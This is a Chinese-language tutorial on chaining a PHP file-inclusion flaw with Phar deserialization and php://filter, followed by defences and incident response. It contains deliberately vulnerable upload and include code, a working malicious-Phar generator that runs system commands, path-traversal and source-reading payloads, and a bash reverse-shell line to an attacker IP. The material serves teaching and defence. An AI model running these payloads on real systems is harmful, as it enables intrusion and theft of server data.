PHP文件包含漏洞与Phar反序列化攻击链深度剖析与防御实践

PHP文件包含漏洞与Phar反序列化攻击链深度剖析与防御实践

1. 项目概述:一次对PHP文件包含与Phar反序列化漏洞的深度实战剖析

最近在复盘一些老项目的安全审计记录时,我重新审视了“文件包含漏洞”这个看似基础却常被忽视的攻击面。特别是当它与PHP的Phar协议、include/require函数,以及php://filter伪协议交织在一起时,会形成一条极具隐蔽性和破坏力的攻击链。很多开发者,甚至是一些中级安全人员,可能只了解其中一两个点,但对其串联利用的完整逻辑和防御要点并不清晰。今天,我就结合一个模拟的实战场景,把这几个技术点掰开揉碎了讲清楚。这篇文章适合有一定PHP基础、想深入理解Web安全中代码执行漏洞原理的开发者或安全爱好者。我们将从漏洞原理、环境搭建、手工利用、自动化工具辅助,再到深度防御,走完一个完整的“攻防演练”流程。

2. 漏洞原理深度拆解:为何它们能组合出“王炸”?

在深入实操之前,我们必须先理解这三个核心组件各自的工作原理,以及它们是如何被“组装”成攻击武器的。这就像理解一个复杂机械的每个齿轮是如何咬合的。

2.1 文件包含漏洞的本质:信任边界的崩塌

文件包含漏洞的核心在于,程序将用户可控的输入,未经充分验证就直接作为文件路径参数,传递给了文件包含函数(如includerequireinclude_oncerequire_once)。

一个典型的漏洞代码片段:

// vuln.php $page = $_GET['page']; include($page . '.php');

开发者的本意可能是通过?page=home来加载home.php。但攻击者可以构造?page=http://evil.com/shell,如果allow_url_include配置为On,则会包含远程文件执行恶意代码。更常见的是利用路径遍历,如?page=../../../../etc/passwd来读取敏感文件。

注意includerequire的主要区别在于错误处理。include在包含失败时产生警告(E_WARNING),脚本继续执行;require则产生致命错误(E_COMPILE_ERROR),脚本停止。但在漏洞利用上,两者没有区别。

这个漏洞的根源是“信任”问题:程序过度信任了来自客户端(用户)的输入,并将其直接映射到服务器本地的文件系统或网络资源访问操作上。

2.2 Phar协议与反序列化:藏在“压缩包”里的木马

Phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR。它可以将多个PHP文件、资源等打包成一个.phar文件。Phar文件包含三部分:存根(Stub)、清单(Manifest)和文件内容。

关键点在于清单(Manifest)。它包含了被打包文件的元信息,并以序列化的形式存储。当PHP通过phar://伪协议去访问Phar文件内部的某个子文件时(例如phar:///path/to/archive.phar/internal/file.php),Phar扩展会自动反序列化这个清单数据

这就埋下了一个巨大的安全隐患:如果攻击者能够控制Phar文件的内容,并在清单中插入恶意的序列化数据(一个包含__destruct()__wakeup()魔术方法的对象),那么当这个Phar文件被以任何方式(如file_get_contents()include、甚至是file_exists())通过phar://协议访问时,反序列化过程就会被触发,从而执行对象中的恶意代码。

有趣的是,Phar文件不一定需要.phar后缀。通过修改文件头(Stub),它可以伪装成.jpg.png甚至.txt文件,这极大地增加了检测和防御的难度。

2.3 php://filter伪协议:文件内容的“透视镜”与“转换器”

php://filter是PHP提供的一个用于访问输入/输出流的过滤器。在文件包含的语境下,它最常被用来进行读取文件源码编码转换

  • 读取源码:当包含一个非PHP文件(如.txt)时,PHP会直接将其内容作为文本输出。但如果服务器配置了allow_url_include=Off,无法直接包含远程文件,或者我们想读取PHP文件的源码(因为包含PHP文件会被执行,看不到源码),就可以利用filterconvert.base64-encode过滤器。

    • 利用载荷:php://filter/convert.base64-encode/resource=config.php
    • 这会将config.php的内容进行Base64编码后输出,攻击者解码即可获得源码。
  • 编码转换与利用filter的另一个强大之处在于可以串联多个过滤器。这在某些无文件写入、仅有文件包含的场景下,可以配合Phar实现攻击。例如,我们可以将一段恶意PHP代码先进行Base64编码,再通过filter在包含时解码。不过,更经典的组合是与Phar反序列化结合。

2.4 致命组合:include + phar:// + 可控文件上传

现在,我们把齿轮组装起来。一个典型的攻击链如下:

  1. 前提:存在一个本地文件包含漏洞(LFI),且攻击者能以某种方式(如文件上传、缓存欺骗)将一个恶意构造的Phar文件(可伪装成图片)放置到服务器上已知或可推测的路径。
  2. 触发:攻击者通过文件包含漏洞,去包含这个恶意Phar文件,但使用phar://协议包装路径。例如:include($_GET['file']);,传入?file=phar:///uploads/evil.jpg/shell.php(这里的shell.php是Phar包内的一个虚拟路径,用于触发解析)。
  3. 引爆:PHP在解析phar://流时,会解析evil.jpg(实为Phar包)的清单,并反序列化其中的数据。如果清单内包含了恶意序列化对象,其魔术方法(如__destruct())中的代码就会被立即执行,从而实现远程代码执行(RCE)。

这个链条的可怕之处在于,它绕过了对文件后缀的检查(因为Phar文件可以伪装成图片),也不需要allow_url_include开启(因为是本地文件包含),在防御不严的环境中成功率很高。

3. 实战环境搭建与漏洞复现

理解了原理,我们动手搭建一个高度还原的漏洞环境。我建议使用Docker,干净且易于重置。

3.1 环境配置与漏洞代码编写

首先,我们创建一个脆弱的PHP应用。

目录结构:

/vuln-app ├── index.php ├── upload.php ├── includes/ │ └── (空) └── uploads/ └── (空,需可写)

index.php (存在文件包含漏洞):

<?php // 存在致命漏洞的包含点 if (isset($_GET['page'])) { $file = $_GET['page']; // 危险!未对用户输入进行任何过滤 include($file); } else { echo "Welcome to the vulnerable app. Use ?page= to include files."; } ?>

upload.php (存在不严谨的上传点):

<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $uploadDir = 'uploads/'; $fileName = basename($_FILES['file']['name']); $uploadPath = $uploadDir . $fileName; // 极其脆弱的检查:仅检查MIME类型(可被轻易伪造) $allowedTypes = ['image/jpeg', 'image/png', 'image/gif']; if (in_array($_FILES['file']['type'], $allowedTypes)) { if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { echo "File uploaded successfully: <a href='$uploadPath'>$fileName</a>"; } else { echo "Upload failed."; } } else { echo "Invalid file type."; } } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload"> </form>

PHP配置 (php.ini 关键项):

allow_url_fopen = On allow_url_include = Off // 我们模拟更常见的安全配置

实操心得:在实际测试中,allow_url_include默认或设置为Off的情况占绝大多数,因此利用本地文件包含(LFI)配合Phar是更通用的手法。我们的环境也基于此设置。

3.2 构造恶意Phar文件

这是攻击的核心步骤。我们需要编写一个PHP脚本来生成恶意的Phar文件。

create_phar.php (攻击者本地执行):

<?php // 定义一个包含恶意代码的类 class EvilClass { public $cmd = 'whoami'; public function __destruct() { // 当对象被销毁时,执行系统命令 system($this->cmd); } } // 删除之前生成的phar文件,避免冲突 @unlink('evil.phar'); // 创建一个新的Phar对象 $phar = new Phar('evil.phar'); $phar->startBuffering(); // 设置stub,`__HALT_COMPILER();`是必须的,前面内容可以自定义,用于伪装 $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 创建要放入phar的文件内容,这里我们放一个虚拟文件 $phar->addFromString('test.txt', 'This is a test.'); // 关键:将恶意对象放入manifest的metadata中 $object = new EvilClass(); $object->cmd = 'id'; // 要执行的命令,例如查看当前用户 $phar->setMetadata($object); // 序列化对象并存入metadata $phar->stopBuffering(); echo "Phar file 'evil.phar' created successfully.\n"; // 为了方便上传,将其重命名为jpg后缀 copy('evil.phar', 'evil.jpg'); echo "Copied to 'evil.jpg' for upload.\n"; ?>

在攻击者机器上执行php create_phar.php,会生成evil.pharevil.jpg。用hexdump查看evil.jpg开头,可以看到GIF89a文件头和后面的PHP代码,成功伪装成了GIF。

3.3 完整攻击链演示

现在,我们模拟一个完整的攻击过程:

  1. Step 1: 文件上传

    • 访问http://target.com/upload.php
    • 选择生成的evil.jpg文件上传。
    • 服务器检查MIME类型为image/jpeg,通过,文件被保存到uploads/evil.jpg
  2. Step 2: 触发文件包含与Phar反序列化

    • 攻击者已知或猜测上传路径为uploads/evil.jpg
    • 他访问存在漏洞的包含点:http://target.com/index.php?page=phar://uploads/evil.jpg/test.txt
    • index.php接收到page=phar://uploads/evil.jpg/test.txt
    • include()函数尝试通过phar://协议读取这个“图片”文件中的test.txt
    • PHP的Phar扩展在处理phar://流时,解析evil.jpg,发现其实际是Phar格式,开始读取其清单(Manifest)。
    • 在读取清单时,自动反序列化setMetadata中存储的EvilClass对象
    • 由于是包含操作,脚本执行结束后,对象会超出作用域或被销毁,触发__destruct()魔术方法。
    • __destruct()方法中的system($this->cmd);被执行,命令id在服务器上运行。
    • 命令执行的结果(如uid=33(www-data))会直接输出到网页中,攻击完成。

踩坑记录:在实际测试中,有时命令执行了但没有回显。这可能是因为include包含一个非PHP文件时,其输出被嵌入到了HTML的某个位置,被标签淹没。此时,可以考虑使用反弹Shell的命令(如bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'),或者将输出写入一个web可读的文件。在EvilClass__destruct()中改用file_put_contents('/tmp/result.txt', shell_exec($this->cmd));也是一种稳定的方式。

4. 利用php://filter进行信息收集与辅助攻击

在无法直接上传Phar文件,但存在文件包含漏洞时,php://filter是我们的首要侦察工具。

4.1 源码泄露实战

假设我们通过信息收集,怀疑存在config.phpdatabase.php等敏感文件。

  • 直接读取非PHP文件?page=../../.env(如果存在且路径正确,会直接显示数据库密码等配置)。
  • 读取PHP文件源码?page=php://filter/convert.base64-encode/resource=index.php
    • 服务器会返回Base64编码后的index.php源码。攻击者只需解码即可。
    • 通过分析源码,可以寻找其他漏洞点、数据库配置、绝对路径等关键信息。

4.2 Filter链的巧妙利用:无需文件上传的Phar触发

这是一种更高级的技巧,适用于绝对无法上传文件,但可以控制包含内容(例如通过日志注入、Session注入)的场景。其核心是利用php://filterconvert.iconv.*过滤器进行字符集转换,将一段精心构造的文本转换成有效的Phar文件二进制流。

过程简述:

  1. 攻击者将恶意Phar文件的二进制内容,通过特定的字符集转换过滤器(如convert.iconv.UTF8.UTF16LE),“编码”成一段看似乱码的文本。
  2. 通过某种方式(如写入访问日志、Session文件)将这段文本写入服务器的一个文件中。
  3. 利用文件包含漏洞,通过php://filter使用反向的字符集转换过滤器去读取这个文件,使其在内存中还原为Phar二进制流。
  4. 最后用phar://包装这个filter流,触发反序列化。

一个简化示例载荷:

?page=php://filter/convert.iconv.UTF8.UTF16LE|convert.base64-decode/resource=phar:///path/to/controllable_file

这个技巧实现起来非常复杂,需要对Phar文件格式和过滤器编码有深刻理解。它通常作为“终极手段”出现在CTF比赛中,在实际渗透中较少见,但了解其原理有助于构建全面的防御体系。

注意事项:这种利用方式对PHP版本和过滤器可用性有要求,且构造过程繁琐。在实战中,优先寻找文件上传点,其次利用日志/Session包含,最后才考虑这种复杂方法。

5. 防御方案与最佳实践

知其攻,方能善其守。针对这条攻击链,我们需要构建多层次、纵深的安全防御。

5.1 代码层防御:白名单与严格校验

这是最根本的防御。

  • 禁用危险函数:在php.ini中设置disable_functions = system, exec, passthru, shell_exec, proc_open, ...。这能阻断大部分命令执行。
  • 严格限制文件包含参数
    // 正确的做法:白名单机制 $allowedPages = ['home', 'about', 'contact']; $page = $_GET['page'] ?? 'home'; if (in_array($page, $allowedPages)) { include(__DIR__ . '/templates/' . $page . '.php'); } else { include(__DIR__ . '/templates/404.php'); }
    • 绝对不要使用用户输入直接拼接路径。
    • 如果需要动态包含,使用白名单是唯一安全的方式。
  • 安全处理文件上传
    • 重命名:使用随机字符串(如md5(uniqid()))重命名上传的文件,避免被猜测路径。
    • 验证内容:不仅检查MIME类型(可伪造),更要使用getimagesize()检查图片文件的实际结构,或对文件内容进行二次渲染验证。
    • 隔离存储:将上传的文件存储在Web根目录之外,并通过一个专门的脚本(如download.php?id=xxx)来提供访问。这样,即使文件是恶意Phar,也无法通过Web直接以phar://协议访问到。
    • 限制后缀:严格限制允许上传的后缀名白名单。

5.2 配置层加固:关闭危险特性

  • php.ini 关键配置
    allow_url_fopen = Off // 尽可能关闭 allow_url_include = Off // 必须关闭!
  • 限制Phar协议:在PHP 7.4及以上版本,可以在php.ini中禁用Phar的流包装器,但这可能影响合法使用。
    phar.readonly = On // 默认即为On,确保它不被关闭。设置为On时,无法通过PharData等创建可写的phar包,但读取仍可能触发反序列化。
    • 更彻底的是,在代码中或Web服务器层流包装器。但最有效的还是在代码层面杜绝不必要的动态包含。

5.3 架构与运维层防护

  • 最小权限原则:运行PHP-FPM或Apache进程的用户(如www-data)应具有最小权限。确保其不能执行敏感系统命令,不能写入关键目录。
  • 定期更新与扫描:保持PHP、Web服务器及所有组件的最新版本。使用静态代码分析工具(如phpcs配合安全规则)、动态应用安全测试(DAST)工具进行定期扫描。
  • WAF(Web应用防火墙)规则:部署WAF,并配置规则拦截包含phar://php://filter等危险协议串的请求,以及常见的路径遍历特征(如../)。

5.4 安全开发意识

将安全作为开发生命周期的一部分。进行代码审计时,将includerequirefile_get_contents等文件操作函数作为重点审计对象。在团队内推广安全编码规范。

6. 排查与应急响应:当漏洞可能已存在

如果你怀疑自己的系统可能存在此类漏洞,可以按以下步骤排查:

  1. 代码审计:全局搜索includerequireinclude_oncerequire_oncefile_get_contents等函数,检查其参数是否用户可控且未经验证。
  2. 日志分析:检查Web服务器访问日志(如Nginx的access.log),寻找异常的请求参数,特别是包含phar://php://filter../....//等字符的请求。
  3. 文件检查:检查上传目录,查看是否有可疑的非图片文件(可以通过文件头魔数检查)。检查/tmp、Session目录等临时目录是否有可疑文件。
  4. 后门排查:使用find命令结合webshell特征码扫描工具,检查Web目录下是否有新增的、可疑的PHP文件。
  5. 入侵确认:如果发现确切的利用痕迹(如日志中有成功的Phar包含请求,且之后有异常命令执行日志),应立即隔离服务器,进行取证,并按照安全事件响应流程处理。

我个人在多次内部红蓝对抗和渗透测试项目中发现,由文件包含漏洞引发的安全事件,其根本原因往往不是技术有多复杂,而是开发人员对“用户输入不可信”这一黄金法则的忽视。修复一个include语句可能只需要几分钟,但由此引发的数据泄露、服务器沦陷的损失却无法估量。安全无小事,它必须贯穿于每一行代码的编写和每一次功能的设计之中。